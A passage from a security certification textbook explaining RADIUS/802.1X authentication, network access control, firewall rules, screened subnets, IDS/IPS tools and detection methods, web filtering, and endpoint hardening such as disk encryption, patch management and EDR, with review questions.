packets as the authentication method is set up and the credentials verified.

The NAS acts as a pass-thru, taking RADIUS messages from the server, and
encapsulating them as EAPoL to transmit to the supplicant.

6. At the end of this exchange, if the supplicant is authenticated, the AAA server
6.

responds with an Access-Accept packet; otherwise, an Access-Reject packet is

returned.

Optionally, the NAS can use RADIUS for accounting (logging). Accounting uses port
1813. The accounting server can be different from the authentication server.

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Network Access Control

Network access control (NAC) not only authenticates users and devices before
allowing them access to the network but also checks and enforces compliance with
established security policies. By evaluating the operating system version, patch
level, antivirus status, or the presence of specific security software, NAC ensures
that devices meet a minimum set of security standards before being granted
network access. NAC also can restrict access based on user profile, device type,
location, and other attributes, to ensure users and devices can only access the
resources necessary to complete their duties. NAC plays a crucial role in identifying
and quarantining suspicious or noncompliant devices. For organizations with
bring-your-own-device (BYOD) policies and increasing use of IoT devices, NAC helps
organizations secure their internal network environment against unauthorized
access.
NAC and virtual local area networks (VLANs) work together to improve and
automate network security. One of the primary ways NAC integrates with VLAN
protections is through dynamic VLAN assignment. Dynamic VLAN assignment
is a NAC feature that assigns a VLAN to a device based on the user’s identity
attributes, device type, device location, or health check results. For instance, a
visiting user (such as a vendor) might be placed into a VLAN that only provides
Internet access, while a corporate user would be assigned to a VLAN with access to
internal resources. Additionally, NAC can interact with dynamic VLAN to implement
quarantine procedures. If a device is noncompliant with security policies—for
example if it lacks updated antivirus software—the NAC system can automatically
move it to a quarantine VLAN. This VLAN is generally isolated from the rest of the
network, limiting potential damage from threats like malware.

Agent vs. Agentless Configurations

NAC can enforce security policies using agent-based and agentless methods. In an
agent-based approach, a software agent is installed on the devices that connect to
the network. This agent communicates with the NAC platform, providing detailed
information about the device’s status and compliance level. An agent-based NAC
implementation can enable features such as automatic remediation, where the NAC
agent can perform actions like updating software or disabling specific settings to
bring a device into compliance with mandatory security configurations.
In contrast, an agentless NAC approach uses port-based network access control
or network scans to evaluate devices. For example, agentless NAC may use DHCP
fingerprinting to identify the type and configuration of a device when it connects,
or it might perform a network scan to detect open ports or active services. While
agentless methods may not provide as detailed information about a device’s status,
they can be used with any device that connects to the network, including guest or
IoT devices, without requiring any prior configuration.

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Defining policy violations in PacketFence Open Source NAC. (Screenshot used with permission
from packetfence.org.)

An agent can be persistent, in which case it is installed as a software application on

the client, or nonpersistent. A nonpersistent (or dissolvable) agent is loaded into
memory during posture assessment but is not installed on the device.

PacketFence supports the use of several scanning techniques, including vulnerability scanners,
such as Nessus and OpenVAS, Windows Management Instrumentation (WMI) queries, and log
parsers. (Screenshot used with permission from packetfence.org.)

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Review Activity:
Network Security Baselines
3

Answer the following questions:

1. 1. What is a pre-shared key?

2. Is WPS a suitable authentication method for enterprise networks?

2.

3. You want to deploy a wireless network where only clients with

3.

domain-issued digital certificates can join the network. What type of

authentication mechanism is suitable?

4. What is a dissolvable agent?

4.

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Topic 9B
Network Security Capability
Enhancement
5

EXAM OBJECTIVES COVERED

4.5 Given a scenario, modify enterprise capabilities to enhance security.

Firewalls, intrusion detection systems (IDS), intrusion prevention systems (IPS),

and web filters are fundamental components in a cybersecurity infrastructure
designed to protect networked systems. A firewall serves as the first line of defense
in network security. It monitors and controls the incoming and outgoing network
traffic based on predetermined rules, effectively creating a barrier between a
trusted internal network and untrusted external networks.
Intrusion detection systems (IDS) and intrusion prevention systems (IPS) take
network security further. An IDS monitors network traffic for signs of possible
incidents and alerts systems administrators when such activities are detected.
An IPS, on the other hand, not only detects but also prevents identified threats
by automatically taking action, such as blocking network traffic or terminating
connections.
Web filters complement these security measures by controlling access to Internet
content. They prevent users from accessing potentially malicious websites, block
the download of malicious files, and can even monitor and control access to
restricted sites. They are crucial in preventing malware infections, protecting
sensitive data, and maintaining compliance with acceptable use policies. When
combined, these tools provide a layered defense and enhance an organization’s
ability to protect its network and systems from many threats.

Access Control Lists

An access control list (ACL) is a list of permissions associated with a network object,
such as a router or a switch, that controls traffic at a network interface level. ACLs
typically use packet information like source and destination IP addresses, port
numbers, and the protocol to decide whether to permit or deny the traffic. They
are usually implemented on network devices to provide traffic control across the
network, adding a layer of security and efficiency. In contrast, a firewall rule dictates
how firewalls should handle inbound or outbound network traffic for specific IP
addresses, IP ranges, or network interfaces. Firewalls typically provide both network
and application-level control. They are designed to protect a network perimeter by
preventing unauthorized access to or from a network. Firewall rules can be based
on various factors, such as IP addresses, port numbers, protocols, or even specific
application traffic patterns.
The rules in a firewall’s ACL are processed from top to bottom. If traffic matches
one of the rules, then it is allowed to pass; consequently, the most specific rules are
placed at the top. The final default rule is typically to block any traffic that has not
matched a rule (implicit deny). If the firewall does not have a default implicit deny
rule, an explicit deny all rule can be added manually to the end of the ACL.

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Sample firewall rules configured on IPFire. This ruleset allows any HTTP, HTTPS, or SMTP traffic to
specific internal addresses. (Screenshot used with permission from IPFire)

Each rule can specify whether to block or allow traffic based on several parameters,
often referred to as tuples. If you think of each rule being like a row in a database,
the tuples are the columns. For example, in the previous screenshot, the
tuples include Protocol, Source (address), (Source) Port, Destination (address),
(Destination) Port, and so on.
Even the simplest packet-filtering firewall can be complex to configure securely. It
is essential to create a written policy describing what a filter ruleset should do and
to test the configuration as far as possible to ensure that the ACLs you have set
up work as intended. Also, test and document changes made to ACLs. Some other
basic principles include the following:
• Block incoming requests from internal or private IP addresses (that have
obviously been spoofed).

• Block incoming requests from protocols that should only function at a local
network level, such as ICMP, DHCP, or routing protocol traffic.

• Use penetration testing to confirm the configuration is secure. Log access

attempts and monitor the logs for suspicious activity.

• Take the usual steps to secure the hardware on which the firewall is running and
use the management interface.

For instance, a firewall rule can be specifically designed to permit or deny traffic
based on the TCP or UDP port numbers that a service operates on. If a web server
on a network should only allow incoming HTTP and HTTPS traffic, rules could be set
up to allow traffic only on ports 80 (HTTP) and 443 (HTTPS), the standard ports for
these services. Similarly, rules can be defined to restrict certain protocols such as
FTP or SSH from entering the network if they are not needed, thereby reducing the
potential attack surface.
Additionally, you can use firewall rules to restrict outgoing traffic to prevent certain
types of communication from inside the network. For instance, a rule can block all
outgoing traffic to port 25 (SMTP) to prevent a compromised machine within the
network from sending out spam emails.

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Screened Subnet
A screened subnet, also known as a perimeter network, creates an additional
layer of protection between an organization’s internal network and the Internet.
A screened subnet acts as a neutral zone, separating public-facing servers from
sensitive internal network resources to reduce the exposure of the internal network
resource to external threats. In practical terms, the screened subnet often hosts
web, email, DNS, or FTP services. These systems must typically be accessible from
the public Internet but isolated from sensitive internal systems to limit the impact of
a breach of one of these services. By placing these servers in the screened subnet,
an organization can limit the damage if these servers are compromised.
Firewalls are typically used to create and control the traffic to and from the
screened subnet. The first firewall, between the Internet and the screened subnet,
is configured to allow traffic to the services hosted in the screened subnet.
The second firewall, between the screened subnet and the internal network, is
configured to block most (practically all) traffic from the screened subnet to the
internal network. A screened subnet is a fundamental part of a network’s security
architecture and an important example of network segmentation as a type of
security control.

Intrusion Detection and Prevention Systems

Intrusion detection systems (IDS) and intrusion prevention systems (IPS) play critical
roles in security operations. Both systems monitor network traffic, looking for
suspicious patterns or activities that could indicate a network or system intrusion.
However, they differ in their capabilities and responses to perceived threats.
Host-based and network-based intrusion detection systems (IDS) and intrusion
prevention systems (IPS) each offer unique advantages in securing a network and
using both in conjunction often leads to a more robust security posture. Host-based
IDS/IPS (HIDS/HIPS) are installed on individual systems or servers, and they monitor
and analyze system behavior and configurations for suspicious activities. HIDS/HIPS
are particularly effective at identifying insider threats, detecting changes in system
files, and monitoring non-network events like local logins and system processes.
This makes them essential for protecting critical systems from internal and external
threats.
OSSEC is an open-source HIDS solution that performs log analysis, integrity
checking, Windows registry monitoring, rootkit detection, real-time alerting, and
active response. It is compatible with multiple platforms, including Linux, Windows,
and MacOS.
Network-based IDS/IPS (NIDS/NIPS) monitors network traffic. They look for patterns
or signatures of known threats and unusual network packet behavior. NIDS/NIPS
are effective at identifying and responding to threats across multiple systems, like
distributed denial-of-service (DDoS) attacks or network scanning activities.
Despite their strengths, neither type can wholly substitute for the other. HIDS/HIPS
are confined to the activities on the host on which they are installed, so they do
not effectively detect network-wide anomalies. Similarly, NIDS/NIPS can’t provide
detailed visibility into host-specific activities or detect threats that don’t involve
network traffic.

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Examples of IDS and IPS Tools

Intrusion detection systems (IDS), such as Snort, are designed to detect potential
threats and generate alerts. IDS systems are passive, inspecting network traffic,
identifying potential threats based on predefined rules or unusual behavior, and
sending alerts to administrators. They do not actively block or prevent threats but
notify of the potential issue. This allows security analysts to investigate the alert,
avoiding disruptions to network traffic or potentially blocking legitimate traffic
caused by false positives.

An excellent description and breakdown of Snort rules is available at https://snort.org/

documents#OfficialDocumentation.

In contrast, intrusion prevention systems (IPS), like Suricata, are proactive security
tools that detect potential threats and take action to prevent or mitigate them. An
IPS identifies a threat using methods similar to an IDS and can block traffic from the
offending source, drop malicious packets, or reset connections to disrupt an attack.
While this can immediately prevent damage, there is a risk of false positives leading
to blocking legitimate traffic.
Important IDS & IPS tools include the following:
• Snort is one of the most well-known IDS tools. It uses a rule-driven language,
which combines the benefits of signature, protocol, and anomaly-based
inspection methods, providing robust detection capabilities. Snort’s open-source
nature and widespread adoption have led to a large community contributing
rules and configurations, making it a versatile tool for various environments.

• Suricata is a high-performance open source IDS/IPS/NSM engine. Suricata

is designed to take full advantage of modern hardware and deliver higher
performance and scalability than Snort. Suricata can function as an IDS or an
IPS, and is compatible with Snort rulesets, making it a highly flexible option for
network security.

• Security Onion is a Linux distribution designed for intrusion detection,

network security monitoring, and log management. It includes both Snort and
Suricata, along with a host of other tools, to provide a complete platform for
network security. This integration provides a holistic view of network activity,
enabling administrators to correlate data from different tools and obtain a
comprehensive understanding of the network’s security posture.

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The Security Onion Alerts dashboard displaying several alerts captured using the Emerging
Threats (ET) ruleset and Suricata. (Screenshot used with permission from Security Onion.)

IDS and IPS Detection Methods

In an IDS, the analysis engine is the component that scans and interprets the traffic
captured by the sensor with the purpose of identifying suspicious traffic. The analysis
engine determines an event’s classification with typical options of ignore, log only,
alert, and block (IPS). A set of programmed rules drives the analysis engine’s decision-
making process. There are several methods of formulating the ruleset.

Signature-Based Detection
Signature-based detection (or pattern-matching) means that the engine is loaded
with a database of attack patterns or signatures. If traffic matches a pattern then
the engine generates an incident.

Snort rules file supplied by the open source Emerging Threats community feed.

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The signatures and rules (often called plug-ins or feeds) powering intrusion
detection need to be updated regularly to provide protection against the latest
threat types. Commercial software requires a paid-for subscription to obtain
the updates. It is important to configure software to update only from valid
repositories, ideally using a secure connection method such as HTTPS.

Behavioral- and Anomaly-Based Detection

Behavioral-based detection means the engine is trained to recognize baseline
“normal” traffic or events. Anything that deviates from this baseline (outside a defined
level of tolerance) generates an incident. The software will be able to identify zero-day
attacks, insider threats, and other malicious activity for which there is a single signature.
Historically, network behavior and anomaly detection (NBAD) products provide
this type of detection. An NBAD engine uses heuristics (meaning to learn from
experience) to generate a statistical model of what baseline normal traffic looks
like. It may develop several profiles to model network use at different times of the
day. This means that the system generates false positives and false negatives until
it has had time to improve its statistical model of what is “normal.” A false positive
is where legitimate behavior generates an alert, while a false negative is where
malicious activity is not alerted.
While NBAD products were relatively unsophisticated, using machine learning in
more recent products has made them more productive. As identified by Gartner’s
market analysis (gartner.com/en/documents/3917096/market-guide-for-user-
and-entity-behavior-analytics), there are two general classes of behavior-based
detection products that utilize machine learning:
• User and entity behavior analytics (UEBA)—are products that scan indicators from
multiple intrusion detection and log sources to identify anomalies. They are often
integrated with security information and event management (SIEM) platforms.

• Network traffic analysis (NTA)—are products are closer to IDS and NBAD in
that they apply analysis techniques only to network streams rather than multiple
network and log data sources.

Often behavioral- and anomaly-based detection are taken to mean the same
thing (in the sense that the engine detects anomalous behavior). This may not
always be the case. Anomaly-based detection can also mean specifically looking
for irregularities in the use of protocols. For example, the engine may check
packet headers or the exchange of packets in a session against RFC standards and
generate an alert if they deviate from strict RFC compliance.

Trend Analysis
Trend analysis is a critical aspect of managing intrusion detection systems (IDS)
and intrusion prevention systems (IPS) as it aids in understanding an environment
over time, helping to identify patterns, anomalies, and potential threats. Security
analysts can identify patterns and trends that indicate ongoing or growing threats
by tracking events and alerts. For example, an increase in alerts related to a specific
attack may suggest that a network is being targeted for attack or that a vulnerability
is being actively exploited. Trending can also help in tuning IDS/IPS systems.
Over time, security analysts can identify false positives or unnecessary alerts that
appear frequently. These alerts can be tuned down so analysts can focus on more
important alerts.
Trending data can contribute to operational security strategies by identifying
common threats and frequently targeted systems. This approach highlights areas
of weakness that need attention, either through changes in security policy or
investment in additional security tools and training.

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Web Filtering
Web filtering is essential to cybersecurity operations, playing a pivotal role in
safeguarding an organization’s network. Its primary function is to block users from
accessing malicious or inappropriate websites, thereby protecting the network from
potential threats. Web filters analyze web traffic, often in real time, and can restrict
access based on various criteria such as URL, IP address, content category, or even
specific keywords.
One of the key benefits of web filtering is the prevention of malware, including
ransomware and phishing attacks, which often originate from malicious websites.
By restricting access to these sites, web filters significantly reduce the risk of
malware infections. Web filtering can also increase employee productivity and limit
legal liability by preventing access to inappropriate or non-work-related content. It
plays a crucial role in data loss prevention (DLP) strategies by blocking certain types
of data transfer or access to sites known for data leakage.

Agent-Based Filtering
Agent-based web filtering involves installing a software agent on desktop
computers, laptops, and mobile devices. The agents enforce compliance with
the organization’s web filtering policies. Agents communicate with a centralized
management server to retrieve filtering policies and rules and then apply them
locally on the device. Agent-based solutions typically leverage cloud platforms to
ensure they can communicate with devices regardless of the network they are
connected to. This means filtering policies remain in effect even when users are off
the corporate network, such as when working from home or traveling.
Agent-based filtering can also provide detailed reporting and analytics. The agent
can log web access attempts and return this data to a management server for
analysis allowing security analysts to monitor Internet usage patterns, identify
attempts to access blocked content, and fine-tune the filtering rules as required.
Because filtering occurs locally on the device, agent-based methods often provide
more granular control, such as filtering HTTPS traffic or applying different filtering
rules for different applications.

Centralized Web Filtering

A centralized proxy server plays a crucial role in web content filtering by acting as
an intermediary between end users and the Internet. When an organization routes
Internet traffic through a centralized proxy server, it can effectively control and
monitor all inbound and outbound web content. The primary role of the proxy in
web content filtering is to analyze web requests from users and determine whether
to permit or deny access based on established policies. The proxy can block access
to specific URLs, IP addresses, or categories of websites, such as social media
platforms, gambling sites, or sites known for distributing malware.
Beyond blocking unwanted or harmful content, a centralized proxy server can also
perform detailed logging and reporting of web activity to allow security analysts to
track and analyze web usage patterns, identify policy violations, and gather valuable
intelligence for refining filtering policies and rules. A centralized proxy server can
provide additional security benefits, such as anonymizing requests and caching web
content for improved performance.
A centralized proxy server employs various techniques to protect web traffic and
ensure the safety of an organization’s network, including the following:
• URL Scanning—where the proxy server examines the URLs requested by
users. It can block access to specific URLs known to host malicious content, are
inappropriate, or violate the company’s Internet usage policy.

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• Content Categorization—classifies websites into various categories, such

as social networking, gambling, adult content, webmail, and many others.
Organizations can define rules to allow or deny access based on these
categories, providing a flexible way to enforce web usage policies.

• Block Rules—use the proxy server to implement block rules based on various
factors such as the website’s URL, domain, IP address, content category, or
even specific keywords within the web content. For example, an organization
could block all .exe downloads to prevent the accidental download of potentially
harmful files.

• Reputation-Based Filtering—uses proxy servers to incorporate reputation-

based filtering, which leverages continually updated databases that score
websites based on their observed behavior and history. Sites known for hosting
malware, engaging in phishing attacks, or distributing spam, for instance, would
have a poor reputation score and could be automatically blocked.

Web filter content categories using the IPFire open-source firewall. (Screenshot used
with permission from IPFire.)

Issues Related to Web Filtering

Content filtering is not without potential issues and challenges. One common
problem is overblocking or underblocking. Overblocking occurs when the filter
is too restrictive, inadvertently blocking access to legitimate and useful websites
and negatively impacting employee productivity. Underblocking, on the other
hand, occurs when the filter allows access to potentially harmful or inappropriate
websites. Another issue is the handling of encrypted traffic (HTTPS). Without proper
configuration, web filters may be unable to inspect encrypted traffic, representing
most modern web traffic.
Decrypting and inspecting HTTPS traffic also introduces employee privacy issues
and concerns. Privacy concerns can stem from logging and monitoring web activity.
While these features are essential for security and policy enforcement, they must
be managed carefully to protect user privacy and comply with relevant laws and
regulations.

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Review Activity:
Network Security Capability
Enhancement
6

Answer the following questions:

1. How can a screened subnet be implemented?

1.

2. What is the common purpose of the default rule on a firewall?

2.

3. What sort of maintenance must be performed on signature-based

3.

monitoring software?

4. What is the principal risk of deploying an intrusion prevention system

4.

with behavior-based detection?

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Lesson 9
Summary
5

Enhancing network security capabilities is essential to protect sensitive data,

maintain IT systems’ integrity and availability, and supplement security operations’
capabilities. Furthermore, legal, contractual, and regulatory requirements mandate
specific security standards, with noncompliance leading to substantial penalties.

Guidelines for Enhancing Network Security Capabilities

Follow these guidelines for enhancing network security capabilities:
• Select a secure baseline based on careful analysis of the organization’s risk
profile.

• Automate the rollout and management of secure baselines using tools such as
Active Directory Group Policy, Ansible, Puppet, or Chef.

• Continuously audit wireless networks to ensure proper configuration and

validate access points.

• Implement enterprise network authentication methods to enrich logging,

improve data protection, and provide granular control.

• Enforce network security requirements through the implementation of NAC

“gate-keepers.”

• Use firewalls, IDS/IPS, and web filtering to monitor and control network traffic
and block access to malicious or inappropriate content.

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 Lesson 10
Assess Endpoint Security Capabilities
1

LESSON INTRODUCTION
Endpoint security aims to secure every endpoint connected to a network, from
laptops to smartphones, tablets, and other IoT devices, to prevent them from being
an attack entry point. Effective endpoint security has become increasingly important
as the number and types of devices connected to networks continue to expand.
For traditional computing devices such as desktops and laptops, hardening
practices typically ensure operating systems and all installed applications are
regularly updated, user access is limited, firewalls and antivirus software are
enabled and updated, and unused software, services, and ports are disabled or
removed to minimize potential attack vectors.
Security strategies may include additional considerations for mobile devices such
as smartphones and tablets. While keeping the operating system and applications
updated is still crucial, other practices such as disabling unnecessary features
(like Bluetooth and NFC when not in use), limiting app permissions, and avoiding
unsecured Wi-Fi networks become increasingly important. Installing trusted
security apps, enabling device encryption, and enforcing screen locks are essential
considerations. Mobile device management (MDM) solutions help manage and
control security features across various mobile devices.
Hardening embedded systems and IoT devices focuses on physical security and
firmware integrity, as these systems often control physical processes or are located
in unsecured environments. Applying regular firmware updates, employing secure
boot processes to maintain firmware integrity, and ensuring communications are
encrypted are common practices. Since these systems have limited computational
capabilities, they require lightweight but robust security solutions.

Lesson Objectives
In this lesson, you will do the following:
• Explore the importance of endpoint hardening.

• Understand hardening techniques.

• Explore unique challenges related to hardening embedded devices.

• Learn about hardening mobile devices.

• Explain the importance of mobile device management.

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Topic 10A
Implement Endpoint Security
2

EXAM OBJECTIVES COVERED

2.5 Explain the purpose of mitigation techniques used to secure the enterprise.
4.1 Given a scenario, apply common security techniques to computing resources.
4.5 Given a scenario, modify enterprise capabilities to enhance security.

Device hardening describes the practice of changing configurations to secure

systems from threats by reducing the vulnerabilities attributed to default
configurations. Standard techniques include regular update processes, secure
password policies, the principle of least privilege, and disabling or removing
unnecessary software, services, and features to reduce a device’s attack surface.
Additionally, data encryption and network-level hardening strategies, such
as implementing firewalls and intrusion detection systems, can help security
analysts monitor and maintain secure configurations. Regular security audits and
vulnerability assessments are important in ensuring ongoing system security and
quick responses to emerging threats.

Endpoint Hardening
Operating System Security
Operating system security encompasses many practices that aim to protect
against unauthorized access, data breaches, malware infections, and other
security threats. There are many considerations and requirements when securing
an operating system because operating systems are complicated and powerful
software products that operate at the core of all information systems. Many
security concepts apply to operating system security, including access controls,
authentication mechanisms, secure configurations, application security, secure
coding, patch management, endpoint protection, user awareness training, and
monitoring.
Hardening describes changing an operating system or application to make it
operate securely. The need for hardening must be balanced against functional
requirements and usability because hardening can often negatively impact how
applications work or interoperate.
Best practice baselines play a critical role in device hardening by providing a
standard set of guidelines or checklists for configuring devices securely. These
baselines, often developed by cybersecurity experts or organizations, offer a
starting point for systems administrators to ensure that devices are configured
according to industry security standards. Many of the requirements can be applied
automatically via a configuration baseline template. The essential principle is
of least functionality; that a system should run only the protocols and services
required by legitimate users and no more. This reduces the potential attack surface.
• Interfaces provide a connection to the network. Some machines may have more
than one interface. For example, there may be wired and wireless interfaces or
a modem interface. Some machines may come with a management network
interface card. If any of these interfaces are not required, they should be
explicitly disabled rather than simply left unused.

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• Services provide a library of functions for different types of applications. Some

services support local features of the OS and installed applications. Other
services support remote connections from clients to server applications. Unused
services should be disabled.

• Application service ports allow client software to connect to applications over

a network. These should either be disabled or blocked at a firewall if remote
access is not required. Be aware that a server might be configured with a
nonstandard port. For example, an HTTP server might be configured to use 8080
rather than 80. Conversely, malware may try to send nonstandard data over an
open port. An intrusion detection system should detect if network data does not
correspond to the expected protocol format.

• Persistent storage holds user data generated by applications, plus cached

credentials. Disk encryption is essential to data security. Self-encrypting drives
can be used so that all data at rest is always stored securely.

It is also important to establish a maintenance cycle for each device and keep up to
date with new security threats and responses for the particular software products
that you are running.

Workstations
Workstations operate at the frontline of an organization’s activities and present
unique concerns regarding endpoint hardening compared to other devices. Due
to the varied tasks and numerous applications associated with workstation use,
they generally have a large attack surface. Hardening practices to minimize this
attack surface include removing unnecessary software, limiting administrative
privileges, strictly managing application installations and updates, and many
other changes. Furthermore, since employees operate workstations, user-focused
security strategies are essential, including regular training and awareness activities
to educate users about threats such as phishing and promoting secure behaviors
such as strong password practices, responsible Internet use, and careful handling of
sensitive data, among other practices.
Additionally, configuring workstation settings for increased security, like automatic
updates, screen locks, firewalls, endpoint protection, intrusion detection and
prevention, increased logging, encryption, monitoring, and many other protections,
are essential. Also, the need to secure peripheral devices like USB ports is unique
to workstations. It is often achieved using features of endpoint protection software
and the implementation of strict device control policies. Lastly, given the various
roles and responsibilities assigned to different workstations, segmentation is crucial
to restrict communications and limit the potential for malware or attackers to
propagate across the network.

Baseline Configuration and Registry Settings

It is typical to have separate configuration baselines for desktop clients, file and
print servers, Domain Name System (DNS) servers, application servers, directory
services servers, and other types of systems. In Windows, configuration settings
are stored in the registry. On a Windows domain network, each domain-joined
computer will receive policy settings from one or more group policy objects (GPOs).
These policy settings are applied to the registry each time a computer boots. Where
hosts are centrally managed and running only authorized apps and services, there
should be relatively little reason for security-relevant registry values to change.
Rights to modify the registry should only be issued to user and service accounts on
a least privilege basis. A host-based intrusion detection system can be configured to
alert suspicious registry events.

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Baseline deviation reporting means testing the actual configuration of hosts to

ensure that their configuration settings match the baseline template. On Windows
networks, the Microsoft Baseline Security Analyzer (MBSA) tool was popularly used
to validate the security configuration. MBSA and other Microsoft reporting tools
have now been replaced by the Security Compliance Toolkit (docs.microsoft.com/
en-us/windows/security/threat-protection/security-compliance-toolkit-10).

Using Security Compliance Manager to compare settings in a production GPO with Microsoft’s
template policy settings. (Screenshot used with permission from Microsoft.)

Endpoint Protection
The purpose of device hardening is to enhance a system’s security by minimizing
the potential vulnerabilities a malicious entity could exploit. This is achieved by
configuring network and system settings to reduce their attack surface.

Segmentation
Segmentation is crucial to securing an enterprise environment because it reduces
the potential impact of a cybersecurity incident by isolating systems and limiting
the spread of an attack or malware infection. In a segmented network, systems
are divided into separate segments or subnets, each with distinct security controls
and access permissions. This type of segmentation significantly complicates
an attacker’s work, giving an organization more time to detect and respond.
Furthermore, segmentation allows more granular control over data access to
ensure users, devices, and applications only have access to the information
necessary for their specific tasks, thus enhancing data protection and privacy.

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A segmented network showing Marketing and Finance subnets and the placement of network
devices. Traffic between the two networks is controlled by the router. (Images © 123RF.com.)

Isolation
Device isolation refers to segregating individual devices within a network to limit
their interaction with other devices and systems. This aims to enhance endpoint
protection by preventing the lateral spread of threats should a device become
compromised. In the context of endpoint protection, device isolation creates
barriers between devices so that a threat that infiltrates one device cannot easily
spread to others. Device isolation restricts network traffic between devices reducing
the potential attack surface. This approach is particularly useful for threats like
worms or ransomware which often aim to propagate through networks quickly.
Device isolation also limits breach impacts by ensuring that compromised devices
cannot access the entire network.

Antivirus and Antimalware

The first generation of antivirus software is characterized by signature-based
detection and prevention of known viruses. An “A-V” product will now perform
generalized malware detection, meaning not just viruses and worms, but also
Trojans, spyware, PUPs, cryptojackers, and so on. While A-V software remains
important, signature-based detection is widely recognized as insufficient for the
prevention of data breaches.

Disk Encryption
Full disk encryption (FDE) means that the entire contents of the drive (or volume),
including system files and folders, are encrypted. OS ACL-based security measures
are quite simple to circumvent if an adversary can attach the drive to a different
host OS. Drive encryption allays this security concern by making the contents of
the drive accessible only in combination with the correct encryption key. Disk
encryption can be applied to both hard disk drives (HDDs) and solid state drives
(SSDs).
FDE requires the secure storage of the key used to encrypt the drive contents.
Normally, this is stored in a Trusted Platform Module (TPM). The TPM chip has a secure
storage area that a disk encryption program, such as Windows BitLocker, to which
it can write its keys. It is also possible to use a removable USB drive (if USB is a boot
device option). As part of the setup process, you create a recovery password or key.
This can be used if the disk is moved to another computer or the TPM is damaged.

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Activating BitLocker drive encryption. (Screenshot used with permission from Microsoft.)

One of the drawbacks of FDE is that, because the OS performs the cryptographic
operations, performance is reduced. This issue is mitigated by self-encrypting
drives (SED), where the cryptographic operations are performed by the drive
controller. The SED uses a symmetric data/media encryption key (DEK/MEK) for bulk
encryption and stores the DEK securely by encrypting it with an asymmetric key pair
called either the authentication key (AK) or Key Encryption Key (KEK). The use of
the AK is authenticated by the user password. This means that the user password
can be changed without having to decrypt and re-encrypt the drive. Early types of
SEDs used proprietary mechanisms, but many vendors now develop to the Opal
Storage Specification (nvmexpress.org/wp-content/uploads/TCGandNVMe_Joint_
White_Paper-TCG_Storage_Opal_and_NVMe_FINAL.pdf), developed by the Trusted
Computing Group (TCG).

Device Description
Laptops, Desktops, Mobile Full disk encryption ensures that sensitive
Devices, and Servers data is protected even if the storage device is
removed from the device or accessed directly
using other methods. For virtual machines, FDE
prevents direct access to data stored in the
virtual machine’s disk file.
IoT Devices Internet of things (IoT) devices, such as
smart home devices, wearables, and
industrial sensors, often collect and transmit
sensitive data. Full disk encryption prevents
unauthorized access to this data if the devices
are compromised.
External Hard Drives and USB Portable storage devices are prone to loss
Flash Drives, and External or theft. Full disk encryption ensures that
Media the data stored on these devices remain
protected, making it significantly harder for
unauthorized individuals to access or retrieve
the information.

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Patch Management
No operating system, software application, or firmware implementation is free from
vulnerabilities. As soon as a vulnerability is identified, vendors will try to correct it.
At the same time, attackers will try to exploit it. Automated vulnerability scanners
can be effective at discovering missing patches for the operating system plus a
wide range of third-party software apps and devices/firmware. Scanning is only
useful if effective procedures are in place to apply the missing patches.
In residential and small networks, hosts are typically configured to auto-update,
meaning that they check for and install patches automatically. The major OS and
applications software products are well supported in terms of vendor-supplied fixes
for security issues. In Windows, this process is handled by Windows Update, while in
Linux it can be configured via yum-cron or apt unattended-upgrades,
depending on the package manager used by the distribution.
Enterprise networks need to be cautious about this sort of automated deployment,
however, as a patch incompatible with an application or workflow can cause
availability issues. In rare cases, such as the infamous SolarWinds hack (npr.
org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-
the-solarwinds-hack?t=1631031433646), update repositories can be infected with
malware that can then be spread via automated updates.
There can also be performance and management issues when multiple applications
run update clients on the same host. For example, as well as the OS updater, there
is likely also a security software update, browser updater, Java updater, OEM driver
updater, and so on. These issues can be mitigated by deploying an enterprise patch
management suite. Some suites, such as Microsoft’s System Center Configuration
Manager (SCCM)/Endpoint Manager (docs.microsoft.com/en-us/mem/configmgr),
are vendor specific while others are designed to support third-party applications
and multiple OSes.
Testing patches before deploying them into the production environment is crucial
for maintaining the stability and security of software. By conducting thorough
testing, organizations can identify potential issues or conflicts arising from the
patch, ensuring that it does not introduce new vulnerabilities or disrupt critical
operations. Testing helps mitigate the risk of unintended consequences and
facilitates a more controlled deployment process, ultimately safeguarding the
integrity and reliability of the environment. Testing is typically performed in testing
environments built to mirror the production environment as much as appropriate.
Also, it can also be difficult to schedule patch operations, especially if applying
the patch is an availability risk to a critical system. If vulnerability assessments
continually highlight issues with missing patches, patch management procedures
should be upgraded. If the problem affects certain hosts only, it could indicate a
compromise that should be investigated more closely.
Patch management can be difficult for legacy systems, proprietary systems, and
systems from vendors without robust security management plans, such as some
types of Internet of Things devices. These systems will need compensating controls
or some other form of risk mitigation if patches are not readily available.

Advanced Endpoint Protection

Endpoint Detection and Response (EDR) and Extended
Detection and Response (XDR)
An endpoint detection and response (EDR) product’s aims to provide
real-time and historical visibility into the compromise, contain the malware
within a single host, and facilitate remediation of the host to its original state.

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The term “EDR” was coined by Gartner security researcher Anton Chuvakin, and
Gartner produces annual “Magic Quadrant” reports for both EPP (gartner.com/en/
documents/3848470) and EDR functionality within security suites (https://www.
gartner.com/en/documents/3894086).
Where earlier endpoint protection suites report to an on-premises management
server, next-generation endpoint agents are more likely to be managed from a
cloud portal and use artificial intelligence (AI) and machine learning to perform user
and entity behavior analysis. These analysis resources would be part of the security
service provider’s offering.

Note that managed detection and response (MDR) is a class of hosted security service
(digitalguardian.com/blog/what-managed-detection-and-response-definition-benefits-
how-choose-vendor-and-more).

EDR focuses on protecting endpoint devices like computers, laptops, and mobile
devices by collecting and analyzing data from endpoints to detect, investigate,
and respond to advanced threats that may bypass traditional security measures.
EDR tools provide real-time monitoring and collection of endpoint data, allowing
for fast response and investigation capabilities. EDR software is an important tool
which detects and responds to advanced persistent threats and ransomware, and it
provides valuable forensic insight after a breach. Extended detection and response
(XDR) expands on EDR by providing broader visibility and response capabilities by
extending protection beyond endpoints by incorporating data from the network,
cloud platforms, email gateway, firewall, and other essential infrastructure
components. Using a broader scope, XDR provides a comprehensive view of
information technology resources to more effectively identify threats and enable
faster responses.

Host-Based Intrusion Detection/Prevention (HIDS/HIPS)

Host-based intrusion detection (HIDS) and host-based intrusion prevention
(HIPS) describe software tools that monitor and protect individual hosts, like
computers or servers, from unauthorized access and malicious activities. HIDS/HIPS
requires deploying and configuring specialized software agents that continuously
monitor and analyze endpoints.
HIDS and HIPS systems use signature-based detection, anomaly detection,
and behavior analysis to identify suspicious activities. Both systems collect and
correlate data from various sources, such as system logs, network traffic, and user
activities, to identify patterns and indicators of compromise or malicious behavior.
